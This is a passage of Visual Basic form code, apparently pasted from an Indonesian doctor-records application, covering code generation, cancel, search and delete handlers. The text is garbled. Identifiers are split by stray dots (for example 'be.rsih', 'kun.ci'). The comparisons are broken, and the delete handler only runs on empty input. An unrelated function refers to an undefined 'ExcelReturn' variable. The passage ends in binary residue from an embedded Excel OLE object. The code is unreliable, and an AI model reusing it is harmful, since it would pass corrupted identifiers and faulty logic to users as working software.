  1949. Else
  1950. Data1.Recordset.MoveLast
  1951. If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
  1952. urutan = "00001"
  1953. Else
  1954. hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
  1955. urutan = "Dr" & Right("000" & hitung, 3)
  1956. End If
  1957. End If
  1958. M.e.txtkd_dok = urutan
  1959.  
  1960. End Sub
  1961.  
  1962. Private Sub cmd_Batal_Click()
  1963. Call be.rsih
  1964. Call td.k_bisa
  1965. cmd_Batal.Enabled = False
  1966. cmd_Perbaiki.Enabled = True
  1967. cmd_Hapus.Enabled = True
  1968. cmd_cari.Enabled = True
  1969. End Sub
  1970.  
  1971. Private Sub cmd_cari_Click()
  1972. Dim var As String
  1973. var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
  1974. If var = Empty Then Exit Sub
  1975. If var <> "" Then
  1976. Data1.Recordset.Index = "kode_dokter"
  1977. Data1.Recordset.Seek "=", var
  1978. If Not Data1.Recordset.NoMatch Then
  1979. Call tam.pil
  1980. Call bi.sa
  1981. Call kun.ci
  1982. Else
  1983. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  1984. End If
  1985. End If
  1986. End Sub
  1987.  
  1988.  
  1989.  
  1990. Public Function TestResult(result As Variant)
  1991. TestResult = False
  1992. If IsNumeric(ExcelReturn) Then
  1993. If ExcelReturn = 0 Then
  1994. TestResult = True
  1995. End If
  1996. End If
  1997. End Function
  1998. Private Sub cmd_Hapus_Click()
  1999. Dim var As String
  2000. var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
  2001. If var = Empty Then Exit Sub
  2002. If var = "" Then
  2003. Data1.Recordset.Index = "Kode_dokter"
  2004. Data1.Recordset.Seek "=", var
  2005. If Not Data1.Recordset.NoMatch Then
  2006. Data1.Recordset.Delete
  2007. Data1.Refresh
  2008. Data1.Recordset.MoveFirst
  2009. Else
  2010. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  2011.  
  2012. End If
  2013. End If
  2014. End Sub
  2015.  
  2016.  
  2017.  
  2018.  
  2019.  
  2020.  
  2021.  
  2022.  
  2023. H�,�
  2024. \oleObject*.bin
  2025. �Label1s
  2026. �xl\embeddings\oleObject1.bin�
  2027. Tahomas
  2028.  
  2029.  
Add Comment
Please, Sign In to add comment